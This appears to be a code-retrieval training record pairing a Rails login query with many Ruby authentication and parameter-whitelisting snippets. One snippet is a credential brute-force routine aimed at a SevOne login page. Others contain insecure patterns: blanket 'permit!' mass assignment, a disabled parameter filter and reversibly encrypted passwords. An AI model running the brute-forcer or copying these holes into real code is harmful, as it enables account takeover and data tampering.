ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
process login. Verify first that there is a valid username/password and then make sure they are verified to login
def create user = User.authenticate(params[:username], params[:password]) # valid account if user && user.enabled? self.current_user = user remember_user if params[:remember_me] == "1" flash[:notice] = "Signed in successfully" redirect_back_or_default user_url(current_user) # disabled user elsif user && !user.enabled flash.now[:error] = "Your account has been disabled." render :action => "new" # invalid username/pass else flash.now[:error] = "Username/Password was not found. If you have forgot your " + "password click <a href=\"#{url_for new_lost_password_path}\">here</a>" render :action => "new" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def login\n get_session_variables_from_authenticated_system\n\n return unless request.post?\n attempt_to_login_user\n\n if logged_in? && authorized?(current_user)\n create_secret_image_code\n set_session_variables_for_authenticated_system\n log_the_login\n redirect_with_proper_protocol_and_query_string\n elsif account_subdomain\n flash.now[:notice] = \"Bad username or password for identity url: #{account_subdomain}.#{AppConfig.host}\"\n else\n flash.now[:notice] = \"Bad username or password.\"\n end\n end", "def process_login\r\n# Somebody is probably playing\r\n return dc_render_404 unless ( params[:record] and params[:record][:username] and params[:record][:password] )\r\n\r\n unless params[:record][:password].blank? #password must not be empty\r\n user = DcUser.find_by(username: params[:record][:username])\r\n if user and user.authenticate(params[:record][:password])\r\n fill_login_data(user, params[:record][:remember_me].to_i == 1)\r\n return redirect_to params[:return_to] || '/'\r\n end\r\n end\r\n flash[:error] = t('drgcms.invalid_username')\r\n redirect_to params[:return_to_error] || '/'\r\nend", "def process_login\r\n # Somebody is probably playing\r\n return dc_render_404 unless ( params.dig(:record, :username) && params.dig(:record, :password) )\r\n\r\n return_to = request.env['HTTP_REFERER'] || '/'\r\n if params[:record][:password].present? #password must not be empty\r\n user = DcUser.find_by(username: params[:record][:username], active: true)\r\n if user && user.authenticate(params[:record][:password])\r\n fill_login_data(user, params[:record][:remember_me].to_i == 1)\r\n return redirect_to(params[:return_to] || return_to, allow_other_host: true)\r\n else\r\n clear_login_data # on the safe side\r\n end\r\n end\r\n flash[:error] = t('drgcms.invalid_username')\r\n redirect_to return_to\r\nend", "def login_check(response)\n\t\t\tif response.code == '200'\n\t\t\t\tputs \"#{response.code} - #{response.message}: Logged in\"\n\t\t\t\tputs \"site: #{api_location}\"\n\t\t\t\tputs \"with: #{username}\"\n\t\t\telse\n\t\t\t\tputs \"#{response.code} - #{response.body}: Failed to log in\"\n\t\t\t\tif @test_login == false\n\t\t\t\t\tabort #if login fails, then abort\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def verify_credentials\n\t\tif (has_valid_credentials) then\n\t\t logger.error(\"VC: Logged in\")\n\t\telse\n\t\t # username is nil, just clobber login_time\n\t\t logger.error(\"VC: Not logged in, redirecting to login\")\n\t\t clear_session()\n\t\t redirect_to :controller => 'application', :action => 'index'\n\t\tend\n\tend", "def login\n if params[:username].nil? || params[:username].empty?\n flash[:error] = \"You must enter a username\"\n # If ldap is not setup, there will be no password\n elsif LdapInfo.setup?\n if LdapInfo.login params[:username], params[:password]\n set_current_user params[:username]\n else\n flash[:error] = \"Username and password not accepted\"\n end\n else\n set_current_user params[:username]\n end\n if !request.referer.nil? # Try to redirect to the same page they logged in from\n redirect_to request.referer\n else\n redirect_to tips_path\n end\n end", "def login\n valid = true\n \n if username.blank?\n self.errors.add_to_base(\"Please enter a user name\")\n valid = false\n end\t\n \n if password.blank?\n self.errors.add_to_base(\"Please enter a password\")\n valid = false\n end\n \t\t\n if valid\n user = User.find(:first, :conditions => [\"username = ? AND password = ?\", username, password])\n \n if user\n self.id = user.id\n self.reload\n else\n self.errors.add_to_base(\"The user name/password was incorrect.\")\n valid = false\n end\n end\n \n valid\n end", "def login\n self.class.trace_execution_scoped(['Custom/login/find_user']) do\n @u = (User.find_by_primary_email(params[:username].downcase) || User.find_by_nickname(params[:username].downcase.to_s)) if params[:username]\n end\n\n self.class.trace_execution_scoped(['Custom/login/if_block']) do\n if @u and @u.has_password? and @u.valid_password?(params[:password])\n @user = @u\n elsif @u and (params[:password] == \"anonymous\") and (@u.user_type == User::USER_TYPE[:anonymous])\n @user = @u\n else\n query = {:auth_failure => 1, :auth_strategy => \"that username/password\"}\n query[:redir] = params[:redir] if params[:redir]\n redirect_to add_query_params(request.referer || Settings::ShelbyAPI.web_root, query) and return\n end\n end\n\n # any user with valid email/password is a valid Shelby user\n # this sets up redirect\n self.class.trace_execution_scoped(['Custom/login/sign_in_current_user']) do\n sign_in_current_user(@user)\n end\n redirect_to clean_query_params(@opener_location) and return\n end", "def process_login\n# Something is really wrong\n return dc_render_404('Login:') unless ( params[:record] and params[:record][:username] and params[:record][:password] )\n success = false\n unless params[:record][:password].blank? \n# user must be defined locally\n user = DcUser.find_by(username: params[:record][:username])\n if user\n# LDAP alternative. You must add gem 'net-ldap' to Gemfile \n# ldap = Net::LDAP.new(host: 'ldap.yourdomain.com')\n# ldap.auth(\"#{params[:record][:username]}@yourdomain.com\", params[:record][:password])\n# success = ldap.bind\n\n# authenticate locally\n success = user.authenticate(params[:record][:password]) unless success\n end\n end\n# \n if success\n fill_login_data(user, false)\n redirect_to '/'\n else # display login error\n flash[:error] = t('drgcms.invalid_username')\n redirect_to \"/login\"\n end\nend", "def login\n receive_until_token(@login_token)\n enter_login unless @logged_in\n if @password # if password was passed, else try without password\n receive_until_token(@password_token)\n enter_password unless @logged_in\n end\n receive_until_token(@prompt)\n @logger.info(\"logged in\") if @logger\n end", "def validate_login(username, password)\n user = nil\n begin\n user = @users.find_one(_id: username)\n # you will need to retrieve right document from the users collection.\n p 'This space intentionally left blank.'\n rescue\n p 'Unable to query database for user'\n end\n\n if user.nil?\n p 'User not in database'\n return nil\n end\n\n salt = user['password'].split(',')[1]\n\n if user['password'] != make_pw_hash(password, salt)\n p 'user password is not a match'\n return nil\n end\n # Looks good\n user\n end", "def login_with_proper_credentials\r\n\r\n set_text(USERNAME_TEXTFIELD_NAME, VALID_USERNAME)\r\n set_text(PASSWORD_TEXTFIELD_NAME, VALID_PASSWORD)\r\n\r\n click_on_button(SUBMIT_BUTTON_ID)\r\n\r\n end", "def username_and_password_check\n company = get_company\n if company == nil\n exit\n end\n if get_username_and_test_validity(company)\n if get_password_and_test_validity(company)\n else\n puts \"That is not the correct password, please try again.\"\n entry_menu\n end\n else \n puts \"That is not the correct username, please try again.\"\n entry_menu\n end\n end", "def checklogin\n\t\t@login = User.where(\"username = '#{params[:username]}'\").first\n\n\t\tp params, @login\n\n\t\tif @login && @login.password == params[:password]\n\t\t\tsession[:user_id] = @login.id\n\t\telse\n\t\t\tflash[:notice] = \"YOU ARE AN IMPOSTER\"\n\t\t\t@login = nil\n\t\t\tredirect_to '/'\n\t\tend\n\tend", "def check_authentication( req )\n\t\tusername = req.params[:username]\n\t\tpassword = req.params[:password]\n\n\t\tunless hmac = self.class.users[ username ]\n\t\t\tself.log.error \"Auth failure: no such user %p\" % [ username ]\n\t\t\tfinish_with( HTTP::AUTH_REQUIRED, \"authentication failure\" )\n\t\tend\n\n\t\tpw_hmac = OpenSSL::HMAC.hexdigest( 'sha1', self.class.key, password )\n\t\tself.log.debug \" hash of 'demo' is: %p\" % [ OpenSSL::HMAC.hexdigest('sha1', self.class.key, 'demo') ]\n\n\t\tunless hmac == pw_hmac\n\t\t\tself.log.error \"Auth failure: password digests don't match: expected %p, got %p\" %\n\t\t\t\t[ hmac, pw_hmac ]\n\t\t\tfinish_with( HTTP::AUTH_REQUIRED, \"authentication failure\" )\n\t\tend\n\n\t\t# Tell the auth provider that the user provided valid credentials\n\t\tself.auth_provider.auth_succeeded( req, username )\n\n\t\treturn username\n\tend", "def login\n username = find_username\n password = find_password\n\n Log.info(\"Logging in as #{username}... \", newline: false)\n\n conn = Faraday.new(url: \"https://redacted.ch/\")\n response = conn.post do |request|\n request.url \"login.php\"\n request.headers[\"User-Agent\"] = RedactedBetter.user_agent\n request.body = { username: username, password: password }\n end\n\n handle_login_response(response)\n rescue Faraday::TimeoutError\n Log.error(\"Logging in timed out. Perhaps Redacted is down?\")\n false\n end", "def require_login auth_data\r\n username = auth_data[:login][:email]\r\n password = auth_data[:login][:password] \r\n if username && password\r\n begin\r\n user = {\"email\"=>username, \"password\"=>password}\r\n newParams = {\"user\" => user}\r\n logger.info(\"Authentication::Params---#{newParams}\")\r\n @userSession = smvLogin(newParams, request.env)\r\n smv_status = {\r\n :statusCode => @userSession.statusCode,\r\n :value => @userSession.value, \r\n :msg => @userSession.message\r\n }\r\n logger.info(\"Authentication::require_login::userSession---#{smv_status}\")\r\n if smv_status[:statusCode].blank? || smv_status[:statusCode]==0\r\n session[:userSession] = smv_status[:value].sessionGuid\r\n session[:userEmail]= username\r\n current_user_status = current_user\r\n if current_user_status[:statusCode]==-1 \r\n smv_status =current_user_status\r\n loggedOut\r\n end\r\n end\r\n rescue Exception => exc\r\n logger.info(\"Authentication::User Session:-- #{session[:userSession]}, #{exc.message}\") \r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"Java API is throwing some exception:-- #{exc.message}\"\r\n }\r\n end\r\n else\r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => 'Please enter a valid username and password'\r\n }\r\n end\r\n return smv_status\r\n end", "def login \n\t\tsystem(\"clear\")\n\t\tputs \"Please enter your unique username or 'cancel' if you are a new user\"\n\t\tusername = gets.chomp.downcase\n\t\tif File.exist?(\"models/userDetails/#{username}.txt\") == true\n\t\t\tputs \"Success! Username #{username} exists!\"\n\t\t\t@username = username\n\t\t\tsleep(2)\n\t\telsif username == 'cancel'\n\t\t\tlogin_menu\n\t\telse\n\t\t\tputs \"Unfortunately that username does not exist.\"\n\t\t\tsleep(2)\n\t\t\tlogin\n\t\tend\n\t\tload_data\n\t\tsystem(\"clear\")\n\t\tputs \"Welcome back #{@first_name}!\"\n\t\tputs \"Please enter your password.\"\n\t\tpassword = gets.chomp\n\t\tif password == @password\n\t\t\tputs \"Great success! Password validated!\"\n\t\t\tsleep(2)\n\t\t\tpassword_check = true\n\t\telse\n\t\t\tputs \"Unfortunately, the password didn't match the one on file. Please try again. \"\n\t\t\tsleep(2)\n\t\t\tlogin\n\t\tend\n\t\tmenu\n end", "def login_attempt\n authorized_user = User.authenticate(params[:username], params[:login_password])\n if authorized_user\n session[:user_id] = authorized_user.id\n uname = authorized_user.username\n flash[:notice] = \"Welcome, #{authorized_user.username}!\"\n redirect_to(:action => 'home')\n else\n flash[:notice] = \"Invalid username!\"\n flash[:color] = \"invalid\"\n render \"login\"\n end\n end", "def test_login\n if @auth!='' then\n result = do_request(json_obj('user.checkauth',\n {'sessionid'=>@auth}))\n if !result['result'] then\n @auth=''\n return false #auth hash bad\n end\n return true #auth hash good\n else\n return false\n end\n end", "def do_login(user, pass)\n vprint_status(\"#{rhost}:#{rport} - Trying username:'#{user.inspect}' with password:'#{pass.inspect}'\")\n begin\n res = send_request_cgi(\n {\n 'uri' => \"/doms/login/processLogin.php\",\n 'method' => 'GET',\n 'vars_get' =>\n {\n 'login' => user,\n 'passwd' => pass,\n 'tzOffset' => '-25200',\n 'tzString' => 'Thur+May+05+1983+05:05:00+GMT+0700+'\n }\n })\n\n if res.nil?\n print_error(\"#{rhost}:#{rport} - Connection timed out\")\n return :abort\n end\n\n check_key = \"The user has logged in successfully.\"\n\n key = JSON.parse(res.body)[\"statusString\"]\n\n if (not res or key != \"#{check_key}\")\n vprint_error(\"#{rhost}:#{rport} - FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}\")\n return :skip_pass\n else\n print_good(\"#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'\")\n report_cred(\n ip: rhost,\n port: rport,\n service_name: 'SevOne Network Performance Management System Application',\n user: user,\n password: pass,\n proof: key\n )\n return :next_user\n end\n\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE\n print_error(\"#{rhost}:#{rport} - HTTP Connection Failed, Aborting\")\n return :abort\n end\n end", "def check_login\n if (current_user.blank? or current_user.username.blank?) and !session[:user_id].blank? \n logger.error(\"logout occurred\")\n session[:user_id] = nil\n elsif session[:user_id].blank? and !current_user_model.blank? and !current_user.blank? \n session[:user_id] = current_user_model.id\n session[:user_id] = '1' if session[:user_id].blank?\n logger.error(\"login occurred\")\n log_request('login')\n end\n end", "def login; end", "def check_login\n \t\t\tif self.session == nil\n \t\t\t\t login\n \t\t\tend\n \tend", "def login_required\n cmd = params[:command_id].to_s\n #puts \"params_login:\"+ params.to_json\n if !params['api_login_key'].nil?\n\t session[:user_email] = params['api_login_key']\n\t# puts \"Logging with API_K\"\n # puts \"Entering login required\"\n else\n# \t puts \"Logging with session\"\n \t \n\t\t if (session[:user_email].blank?)\n\t\t flash[:notice] = 'Please log in'\n\t\t if !cmd.blank?\n\t\t \tredirect_to(new_session_url+'/'+cmd)\n\t\t else\n\t\t \tredirect_to new_session_url\t\t \n\t\t end\n\t\t end\n\t\tend \n end", "def login()\n session[:cas_user] = nil\n \n if request.post?\n clear_page_vars\n user = User.authenticate(params[:username])\n if user\n session[:cas_user] = user.username\n \n # Cache some common looked-up user fields.\n person = lookup_cas_user(user.username)\n if person\n session[:title] = person.title\n session[:phone] = person.phone\n end\n \n uri = session[:original_uri]\n session[:original_uri] = nil\n home = user_home(user) \n redirect_to(uri || {:action => home})\n else\n flash.now[:notice] = \"Invalid user.\" \n end\n end\n end", "def login_correctly\r\n\t\tuserid = \"correct_user@email.com\"\r\n\t\tpassword = \"correct_password\"\r\n\tend", "def login\n\n username = prompt.ask(\"Enter your username:\\n\")\n while !User.find_by(username: username)\n puts \"Username not found - please try again.\\n\"\n username = prompt.ask(\"Enter your username:\\n\")\n end\n\n password = prompt.mask(\"Enter your password:\")\n while User.find_by(username: username).password != password\n puts \"Invalid password - please try again.\"\n password = prompt.mask(\"Enter your password:\")\n end\n \n self.user_id = User.find_by(username: username).id\n puts \"Successfully logged in! Welcome #{User.return_username(user_id)}!\\n\"\n\n show_threads\n end", "def login\n logger.debug(params.inspect)\n reset_message\n username=params[:username].strip\n dictionaryname=params[:dictionaryname].strip\n dictionarykind=params[:dictionarykind].strip\n logger.debug(\"#{username}/#{dictionaryname}/#{dictionarykind}\")\n # Once we have user registration and password\n # authentification, this should be done here.\n if username.empty?\n set_message('User ID missing')\n elsif dictionarykind.empty?\n set_message('Dictionary language missing')\n elsif params.has_key?('create')\n redirect_to url_for(:controller => :dicts, :action => :new)\n # redirect_to url_for(:controller => :dicts, :action => :create, :method => :post)\n elsif params.has_key?('open')\n if dictionaryname.empty?\n set_message('not implemented yet')\n action='open'\n else\n set_message('not implemented yet')\n action='pick'\n end\n else\n set_message('Unexpected submit key')\n end\n if has_message?\n logger.debug(message)\n render 'init'\n end\n end", "def login\n\t\t\tresponse = @http.get(\"/authentication/whoami\")\n\t if(response.code == '200')\n\t set_cookie(response)\n\t puts \"\"\n\t puts \"================\"\n\t puts \"login\"\n\t login_response = @http.post(\"/authentication/login\",\"username=#{@username}&password=#{@password}&skin=#{@skin}&account=#{@account}\",{'Cookie' => @cookies.to_s})\n\t check_cookie(login_response)\n\t login_check(login_response)\n\t puts \"--------\"\n\t else\n\t puts \"Error invalid host #{response.message}\"\n\t abort #if the login site is invalid, then abort\n\t end \n\t\tend", "def exec_login\n if core_createSession(params[:username], params[:password])\n redirect_to lato_core.root_path\n else\n flash[:warning] = CORE_LANG['superusers']['login_error']\n redirect_to lato_core.login_path\n end\n end", "def login\n end", "def attempt_login\n if params[:email].present? && params[:password].present?\n found_user = User.where(email: params[:email]).first\n authorized_user = found_user.authenticate(params[:password]) if found_user\n end\n\n if authorized_user\n authenticate_user(found_user.id)\n flash[:notice] = 'You are now logged in.'\n redirect_to(challenge_index_path)\n else\n flash.now[:notice] = 'Invalid email/password combination.'\n render('login')\n end\n end", "def pap_login(session,new_body)\n authen_start = session.authen_start\n\n if (!authen_start.header.minor_version_one?) # pap login requires minor version 1\n new_body.status_fail!\n new_body.server_msg = \"Client sent malformed packet to server for PAP login. \" +\n \"Minor version should be 1 but was #{authen_start.header.minor_version}.\"\n @tacacs_daemon.log(:error,['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n elsif (authen_start.body.user_len != 0 && authen_start.body.data_len != 0)\n # determine pass/fail status\n username = authen_start.body.user\n pass_fail = authenticate(username, authen_start.body.data, authen_start)\n if (pass_fail[:pass])\n new_body.status_pass!\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n new_body.status_fail!\n new_body.server_msg = \"Client requested PAP login without providing both username and password.\"\n @tacacs_daemon.log(:debug,['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n end\n\n return(nil)\n end", "def test_correct_login\n res = make_login Configuration.USER, Configuration.PASSWORD\n puts \"\\nTester#test_correct_login:\\n#{res}\" if Configuration.VERBOSE\n res and res.length == Constants.TOKEN_LENGTH and res =~ /^[0-9a-f]*$/\n end", "def login_required\n call(Rs(:login)) unless logged_in?\n end", "def do_login\n type = :unknown\n\n if !cookies[:user].nil? && cookies[:user] != \"\"\n @user = User.find( :first,\n\t\t\t :conditions =>\n\t\t\t [ \"MD5(CONCAT(?,'|',?,'|',username,'|',password))=?\",\n\t\t\t PW_SALT, request.remote_ip, cookies[:user]\n\t\t\t ]\n );\n\n type = :cookie\n\n elsif params[:token]\n token = Token.find_by_token( params[:token] );\n @user = token.user if ( !token.nil? )\n\t\n type = :token\n\n elsif params[:user]\n @user = User.find( :first,\n\t\t\t :conditions =>\n\t\t\t [ \"username = ? AND password = ?\",\n\t\t\t params[:user][:username],\n\t\t\t User.make_hashed_password(params[:user][:password])\n\t\t\t ]\n )\n\n type = :form\n end\n\n if ( type == :form && !verify_recaptcha() )\n flash[:error] = \"are you not human?\"\n return( redirect_to :action => \"login\")\n end\n\n if !@user.nil?\n session[:user] = @user.id\n return( redirect_to :controller => \"home\", :action => \"index\" )\n\n else\n flash[:error] = \"Login failed.<br/>\"\n\n if type == :cookie\n\tflash[:error] += \"Your login cookie was not valid\"\n\tcookies[:user] = nil\n\n elsif type == :form\n\tflash[:error] += \"Username and password do not match\"\n\n elsif type == :token\n\tflash[:error] += \"The token is invalid\"\n\n else\n\tflash[:error] += \"Something went terribly wrong.\"+\n\t \"We have been informed, please try again later\"\n\tRAILS_DEFAULT_LOGGER.error(\"Unknown login type found\");\n\n end\n\n return( redirect_to :action => \"login\" )\n end\n end", "def check_login!\n u = check_and_get_user\n redirect to('/signin.html') unless u\n u\n end", "def authenticate!\n if params.has_key?(:login)\n # The user is attempting to authenticate via params. Ignore the current user.\n user = User.authenticate(params[:login], params[:password])\n if user\n sign_in(user)\n else\n unless current_user\n if Rails.env.production?\n # display a cryptic 404\n render_404\n else\n render(:text => \"Authenticating via params failed\", :status => :unauthorized)\n end\n end\n end\n else\n # Try the current user.\n unless current_user\n if Rails.env.production?\n render_404\n else\n render(:text => \"No session, no authentication params\", :status => :unauthorized)\n end\n end\n end\n end", "def login\n @user = User.authenticate(params[:username], params[:user_password])\n if @user\n session[:user] = @user\n flash['notice'] = \"Login successful\"\n redirect_back_or_default :controller => 'schedule', :action => \"index\"\n else\n if !params[:username].blank? or !params[:user_password].blank? \n flash.now['notice'] = \"Login unsuccessful\"\n end\n @login = params[:username]\n end\n end", "def login_faild\n\t\treturn error_log errors:{unauthenticated:[\"Incorrect User name and password\"]}\n\tend", "def login()\n error = \"\"\n loop do\n headline(\"Welcome\")\n puts error.colorize(:red)\n\n username = @prompt.ask(\"Username: \") do |q|\n # error handling requiring input\n q.required true\n q.messages[:required?] = \"Username is required.\"\n end\n\n password = @prompt.mask(\"Password: \") do |q|\n # error handling requiring input\n q.required true\n q.messages[:required?] = \"Password is required.\"\n end\n \n # Error handling to acess app\n if @db.validate_login(username.downcase, password)\n main_menu()\n else\n error = \"Wrong username or password.\"\n end\n end\n end", "def try_login\n if user = http_auth_login || validation_login || remember_me_login\n session[:uid] = user.id\n end\n end", "def login\n \t# Find a user with params\n \tuser = User.authenticate(@credentials[:password], @credentials[:username])\n \tif user\n\t \t# Save them in the session\n\t \tlog_in user\n\t \t# Redirect to articles page\n\t \tredirect_to articles_path\n\telse\n\t\tredirect_to :back, status: :created\n\tend\n end", "def validate_login_user(params)\n params[\"username\"] and params[\"password\"] and params[\"password\"] == params[\"password_2\"]\n end", "def process_auth\n return if username.empty? || password.empty?\n \"#{username}:#{password}\"\n end", "def login\n user = User.find_by_email(params[:username])\n if user.nil? || (user && user.authenticate(params[:password]) == false) || user.deleted\n render status: 400, json: nil \n else\n session[:user_id] = user.id\n session[:username] = user.username\n session[:email] = user.email\n session[:verified] = user.verified\n user.last_ip_login = request.remote_ip\n user.save\n render status: 200, json: session\n end\n end", "def login\r\n # If the user is already logged in, send them into the application, rather than requesting authentication again.\r\n if is_authorized\r\n logger.debug(\"User is already logged in\")\r\n redirect_to :controller => :bodysize\r\n return\r\n end\r\n \r\n # The user is not logged in yet. Reset their session\r\n session[:user_id] = nil\r\n \r\n if request.post?\r\n user = User.authenticate(params[:email_address], params[:password])\r\n if user && user.enabled?\r\n login_user_by_id(user.id) \r\n\r\n uri = session[:original_uri]\r\n session[:original_uri] = nil\r\n redirect_to( uri || '/bodysize/index' )\r\n return\r\n else\r\n flash[:notice] = 'Invalid username/password combination'\r\n AuditLog.create(:action => \"A user failed to login with the username: #{params[:email_address]}\") \r\n end\r\n end\r\n end", "def login\n if request.get?\n if User.current.logged?\n #redirect_to home_url\n redirect_to browse_models_url\n end\n else\n authenticate_user\n end\n rescue AuthSourceException => e\n logger.error \"An error occured when authenticating #{params[:username]}: #{e.message}\"\n render_error :message => e.message\n end", "def authenticateUser\n valmsg = User.validateUser(params[:login_username],params[:login_password])\n if (valmsg == 'validuser')\n session[:user] = params[:login_username]\n redirect_to :controller => \"gapp\", :action => \"home\"\n else\n redirect_to :root\n flash[:notice] = \"Username & password mismatch ! Please try again !!\"\n flash[:color]= \"invalid\"\n end\n end", "def _login argv = nil\n\t\tif argv[:name] and argv[:pawd]\n\n\t\t\t# valid field format\n\t\t\tf = argv\n\t\t\t_valid :user, f\n\n\t\t\t# if no user\n\t\t\tds = Sdb[:_user].filter(:name => f[:name])\n\t\t\t_throw Sl[:'the user is not existed'] if ds.empty?\n\n\t\t\t# verify password\n\t\t\trequire \"digest/sha1\"\n\t\t\tif ds.get(:pawd) == Digest::SHA1.hexdigest(f[:pawd] + ds.get(:salt))\n\t\t\t\tsid = Digest::SHA1.hexdigest(f[:name] + Time.now.to_s)\n\t\t\t\t_session_create sid, ds.get(:uid)\n\t\t\telse\n\t\t\t\t_throw Sl[:'the password is wrong']\n\t\t\tend\n\n\t\tend\n\tend", "def _login(username, password)\n begin\n return set_error_object({message: @configuration.not_initialized_message}) if not_initialized?\n url = \"#{base_uri}/#{@configuration.users_path}/login.#{@configuration.api_request_format}\"\n response = post url, body: {user: username, password: Digest::MD5.hexdigest(password)}\n JSON.parse (response.body && !response.body.empty?) ? response.body : set_error_object #returns the complete object\n rescue => e\n puts e.to_s #debug the error\n end\n end", "def login_required\n username, passwd = get_auth_data\n logged_in? && authorized? ? true : access_denied\n end", "def login\n\t\t@membership = Membership.find :first, :conditions => { :nickname => params[:nickname] }\n\t\tif not @membership\n\t\t\trespond_with ret = { :status => 0, :description => \"No such user\" }, :location => nil, :status => :unauthorized and return\n\t\tend\n\n\t\tbegin\n\t\t\tpswd = Base64.strict_decode64 @membership[:password]\n\n\t\t\tcipher = OpenSSL::Cipher::Cipher.new 'DES3'\n\t\t\tcipher.decrypt\n\t\t\tcipher.key = Altarf::Application.config.membership_secret_token\n\n\t\t\tiv = Digest::SHA256.new\n\t\t\tiv.update params[:nickname]\n\t\t\tcipher.iv = iv.hexdigest\n\n\t\t\tclearpswd = cipher.update pswd\n\t\t\tclearpswd << cipher.final\n\n\t\t\thash = Digest::SHA256.new\n\t\t\thash.update clearpswd\n\t\t\thash.update params[:captcha]\n\n\t\trescue\n\t\t\tRails.logger.error $!.backtrace\n\t\t\thash = Digest::SHA256.new\n\t\tend\n\n\t\tif hash.hexdigest == params[:password]\n\t\t\tsession[:nickname] = params[:nickname]\n\t\t\trespond_with ret = { :status => 1 }, :location => nil, :status => :accepted and return\n\t\telse\n\t\t\tsession[:nickname] = nil\n\t\t\trespond_with ret = { :status => 0, :description => \"Wrong password\" }, :location => nil, :status => :unauthorized and return\n\t\tend\n\tend", "def handle_failed_login\n Log.error(\"failure.\")\n end", "def login\n return unless request.post?\n \n puts \"params[:]#{params.inspect}--#{params[:email]}\"\n \n user = User.find_by_email_and_security_phrase( params[:email], params[:security_phrase] )\n flash[:notice] = \"Your credentials do not check out.\" and return unless user \n\n @player = user.playing_as\n session[:player_id] = @player.id\n\n unless 